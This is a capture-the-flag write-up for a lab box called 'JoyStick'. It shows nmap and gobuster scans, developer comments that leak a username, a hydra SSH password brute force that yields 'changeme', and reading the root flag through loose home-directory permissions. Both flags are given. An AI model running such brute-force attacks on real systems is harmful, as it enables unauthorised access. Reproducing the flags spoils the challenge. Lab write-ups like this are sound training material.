JoySTick

JoyStick

Anyone want to play?

[Task 1] Root it!

Root the box, get both flags.

Enjoy the room! For future rooms and write-ups, follow @darkstar7471 on Twitter.

#1
User flag

flag{is_only_gaem}

#2
Root flag

flag{poorly_configured_permissions}

nmap-scan

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
|_ftp-anon: got code 500 "OOPS: vsftpd: refusing to run with writable root inside chroot()".

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c7:ce:5d:fa:24:68:3a:10:63:f9:28:1b:f4:6d:e5:bc (RSA)
|   256 6b:7b:f5:12:e0:db:bb:b0:ca:f8:f8:c0:84:bc:27:e6 (ECDSA)
|_  256 1b:d4:20:23:d0:5b:32:16:ad:c2:a9:cd:99:1c:e6:6e (ED25519)

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: JoyStick Gaming

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

gobuster-scan

```
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)
```

interesting-things

found in source of home page:

```
<!-- Zach, I don't care that you named your user steve. You still need to
 finish making the website -->
<!-- Great, and now the FTP server just doesn't work. Just another great idea after
        your failed irc chat. Why would we use that when we have in game chat?
        Not to mention that I know you still haven't reset your password.  -->
```

writeup

------------------user-flag---------------------------

--ran nmap -sC -sV <IP> and found open ports 21, 22, and 80.
--ran gobuster -w common-dirs.txt -u http://<IP>.
--found username steve in source code of home page, and also says FTP is disabled so Ill ignore it.
--ran hydra -l steve -P rockyou.txt <IP> -t 64 ssh:

```
[22][ssh] host: 10.10.13.74   login: steve   password: changeme
```

--logged in to ssh with ssh steve@<IP> and password changeme
ran cat user.txt and got flag:
flag{is_only_gaem}

------------------root-flag---------------------------

--tried sudo -l command with no success, so I started poking around and noticed I was able to get into the /home/notch directory
--and due to poor permissions I was able to read the root.txt file without escalating priveleges
--ran cat /home/notch/root.txt:
flag{poorly_configured_permissions}